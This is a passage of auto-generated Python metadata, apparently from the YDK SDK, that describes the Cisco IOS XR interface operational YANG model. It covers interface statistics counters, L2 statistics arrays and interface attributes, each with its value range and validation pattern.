''' Peak output data rate
''',
'peak_output_data_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('peak-output-packet-rate', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Peak output packet rate
''',
'peak_output_packet_rate',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('reliability', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Reliability coefficient
''',
'reliability',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'data-rates',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceStatistics.FullInterfaceStats' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceStatistics.FullInterfaceStats',
False,
[
_MetaInfoClassMember('applique', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Applique
''',
'applique',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('availability-flag', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Availability bit mask
''',
'availability_flag',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('broadcast-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Broadcast packets received
''',
'broadcast_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('broadcast-packets-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Broadcast packets sent
''',
'broadcast_packets_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bytes-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Bytes received
''',
'bytes_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bytes-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Bytes sent
''',
'bytes_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('carrier-transitions', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Carrier transitions
''',
'carrier_transitions',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('crc-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input CRC errors
''',
'crc_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('framing-errors-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Framing-errors received
''',
'framing_errors_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('giant-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received giant packets
''',
'giant_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-aborts', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input aborts
''',
'input_aborts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total input drops
''',
'input_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total input errors
''',
'input_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-ignored-packets', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input ignored packets
''',
'input_ignored_packets',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-overruns', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input overruns
''',
'input_overruns',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-queue-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input queue drops
''',
'input_queue_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-data-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time when counters were last written (in
seconds)
''',
'last_data_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-discontinuity-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SysUpTime when counters were last reset (in
seconds)
''',
'last_discontinuity_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('multicast-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Multicast packets received
''',
'multicast_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('multicast-packets-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Multicast packets sent
''',
'multicast_packets_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-buffer-failures', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Output buffer failures
''',
'output_buffer_failures',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-buffers-swapped-out', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Output buffers swapped out
''',
'output_buffers_swapped_out',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total output drops
''',
'output_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total output errors
''',
'output_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-queue-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Output queue drops
''',
'output_queue_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-underruns', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Output underruns
''',
'output_underruns',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Packets received
''',
'packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packets-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Packets sent
''',
'packets_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('parity-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received parity packets
''',
'parity_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('resets', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of board resets
''',
'resets',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('runt-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received runt packets
''',
'runt_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-last-clear-counters', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of seconds since last clear counters
''',
'seconds_since_last_clear_counters',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-packet-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Seconds since packet received
''',
'seconds_since_packet_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-packet-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Seconds since packet sent
''',
'seconds_since_packet_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('throttled-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Received throttled packets
''',
'throttled_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('unknown-protocol-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Unknown protocol packets received
''',
'unknown_protocol_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'full-interface-stats',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceStatistics.BasicInterfaceStats' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceStatistics.BasicInterfaceStats',
False,
[
_MetaInfoClassMember('bytes-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Bytes received
''',
'bytes_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bytes-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Bytes sent
''',
'bytes_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total input drops
''',
'input_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total input errors
''',
'input_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('input-queue-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Input queue drops
''',
'input_queue_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-data-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Time when counters were last written (in
seconds)
''',
'last_data_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('last-discontinuity-time', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' SysUpTime when counters were last reset (in
seconds)
''',
'last_discontinuity_time',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total output drops
''',
'output_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-errors', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Total output errors
''',
'output_errors',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('output-queue-drops', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Output queue drops
''',
'output_queue_drops',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Packets received
''',
'packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('packets-sent', ATTRIBUTE, 'int' , None, None,
[('0', '18446744073709551615')], [],
''' Packets sent
''',
'packets_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-last-clear-counters', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Number of seconds since last clear counters
''',
'seconds_since_last_clear_counters',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-packet-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Seconds since packet received
''',
'seconds_since_packet_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('seconds-since-packet-sent', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Seconds since packet sent
''',
'seconds_since_packet_sent',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('unknown-protocol-packets-received', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Unknown protocol packets received
''',
'unknown_protocol_packets_received',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'basic-interface-stats',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.InterfaceStatistics' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.InterfaceStatistics',
False,
[
_MetaInfoClassMember('basic-interface-stats', REFERENCE_CLASS, 'BasicInterfaceStats' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceStatistics.BasicInterfaceStats',
[], [],
''' Packet, byte and selected error counters
''',
'basic_interface_stats',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('full-interface-stats', REFERENCE_CLASS, 'FullInterfaceStats' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceStatistics.FullInterfaceStats',
[], [],
''' Packet, byte and all error counters
''',
'full_interface_stats',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stats-type', REFERENCE_ENUM_CLASS, 'ImCmdStatsEnumEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImCmdStatsEnumEnum',
[], [],
''' StatsType
''',
'stats_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-statistics',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.StatsId' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.StatsId',
False,
[
_MetaInfoClassMember('feature-id', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Feature ID
''',
'feature_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('id', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' ID
''',
'id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('id-type', REFERENCE_ENUM_CLASS, 'StatsIdEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'StatsIdEnum',
[], [],
''' id type
''',
'id_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-handle', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface Handle
''',
'interface_handle',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-id', ATTRIBUTE, 'str' , None, None,
[], ['([a-zA-Z0-9_]*\\d+/){1,2}([a-zA-Z0-9_]*\\d+)'],
''' Node ID
''',
'node_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('unused', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Unused
''',
'unused',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'stats-id',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.BlockArray' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.BlockArray',
False,
[
_MetaInfoClassMember('count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' count
''',
'count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('data', ATTRIBUTE, 'str' , None, None,
[], ['([0-9a-fA-F]{2}(:[0-9a-fA-F]{2})*)?'],
''' data
''',
'data',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'StatsCounterEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'StatsCounterEnum',
[], [],
''' type
''',
'type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'block-array',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray.BlockArray' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray.BlockArray',
False,
[
_MetaInfoClassMember('count', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' count
''',
'count',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('data', ATTRIBUTE, 'str' , None, None,
[], ['([0-9a-fA-F]{2}(:[0-9a-fA-F]{2})*)?'],
''' data
''',
'data',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'StatsCounterEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'StatsCounterEnum',
[], [],
''' type
''',
'type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'block-array',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray',
False,
[
_MetaInfoClassMember('block-array', REFERENCE_LIST, 'BlockArray' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray.BlockArray',
[], [],
''' block array
''',
'block_array',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('key', ATTRIBUTE, 'str' , None, None,
[], ['([0-9a-fA-F]{2}(:[0-9a-fA-F]{2})*)?'],
''' key
''',
'key',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'element-array',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.L2InterfaceStatistics',
False,
[
_MetaInfoClassMember('block-array', REFERENCE_LIST, 'BlockArray' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.BlockArray',
[], [],
''' Block Array
''',
'block_array',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('contents', REFERENCE_ENUM_CLASS, 'StatsTypeContentsEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'StatsTypeContentsEnum',
[], [],
''' Bag contents
''',
'contents',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('element-array', REFERENCE_LIST, 'ElementArray' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray',
[], [],
''' Element Array
''',
'element_array',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stats-id', REFERENCE_CLASS, 'StatsId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.StatsId',
[], [],
''' Identifier
''',
'stats_id',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('stats-type', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Stats type value
''',
'stats_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'l2-interface-statistics',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface.NvOptical' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.NvOptical',
False,
[
_MetaInfoClassMember('controller', ATTRIBUTE, 'str' , None, None,
[], [],
''' Controller that nV controller maps to
''',
'controller',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'nv-optical',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceXr.Interface' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' The name of the interface
''',
'interface_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', True),
_MetaInfoClassMember('arp-information', REFERENCE_CLASS, 'ArpInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.ArpInformation',
[], [],
''' Interface ARP type and timeout
''',
'arp_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Interface bandwidth (Kb/s)
''',
'bandwidth',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('burned-in-address', REFERENCE_CLASS, 'BurnedInAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.BurnedInAddress',
[], [],
''' Interface burned in address
''',
'burned_in_address',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('carrier-delay', REFERENCE_CLASS, 'CarrierDelay' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.CarrierDelay',
[], [],
''' Carrier Delay
''',
'carrier_delay',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('crc-length', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' Cyclic Redundancy Check length
''',
'crc_length',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('dampening-information', REFERENCE_CLASS, 'DampeningInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.DampeningInformation',
[], [],
''' State dampening information
''',
'dampening_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('data-rates', REFERENCE_CLASS, 'DataRates' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.DataRates',
[], [],
''' Packet and byte rates
''',
'data_rates',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('description', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface description string
''',
'description',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('duplexity', REFERENCE_ENUM_CLASS, 'ImAttrDuplexEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrDuplexEnum',
[], [],
''' Interface duplexity
''',
'duplexity',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface encapsulation
''',
'encapsulation',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation-information', REFERENCE_CLASS, 'EncapsulationInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.EncapsulationInformation',
[], [],
''' Information specific to the encapsulation
''',
'encapsulation_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('encapsulation-type-string', ATTRIBUTE, 'str' , None, None,
[(0, 32)], [],
''' Interface encapsulation description string
''',
'encapsulation_type_string',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('hardware-type-string', ATTRIBUTE, 'str' , None, None,
[(0, 64)], [],
''' Hardware type description string
''',
'hardware_type_string',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('if-index', ATTRIBUTE, 'int' , None, None,
[('0', '4294967295')], [],
''' This is not supposed to be used. It is a dummy
attribute to support ifindex for OC model
''',
'if_index',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('in-flow-control', REFERENCE_ENUM_CLASS, 'ImAttrFlowControlEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'ImAttrFlowControlEnum',
[], [],
''' Input flow control configuration
''',
'in_flow_control',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-handle', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_handle',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-statistics', REFERENCE_CLASS, 'InterfaceStatistics' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceStatistics',
[], [],
''' Packet, byte and error counters
''',
'interface_statistics',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type', ATTRIBUTE, 'str' , None, None,
[], [],
''' Interface type
''',
'interface_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-information', REFERENCE_CLASS, 'InterfaceTypeInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.InterfaceTypeInformation',
[], [],
''' Information specific to the interface type
''',
'interface_type_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('ip-information', REFERENCE_CLASS, 'IpInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr.Interface.IpInformation',
[], [],
''' Interface IP address info
''',
'ip_information',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-dampening-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Dampening enabled flag
''',
'is_dampening_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-data-inverted', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Data invert flag
''',
'is_data_inverted',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-l2-looped', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Loopback detected by layer 2
''',
'is_l2_looped',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-l2-transport-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' L2 transport flag
''',
'is_l2_transport_enabled',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('is-maintenance-enabled', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Maintenance embargo flag
''',
'is_maintenance_enabled',
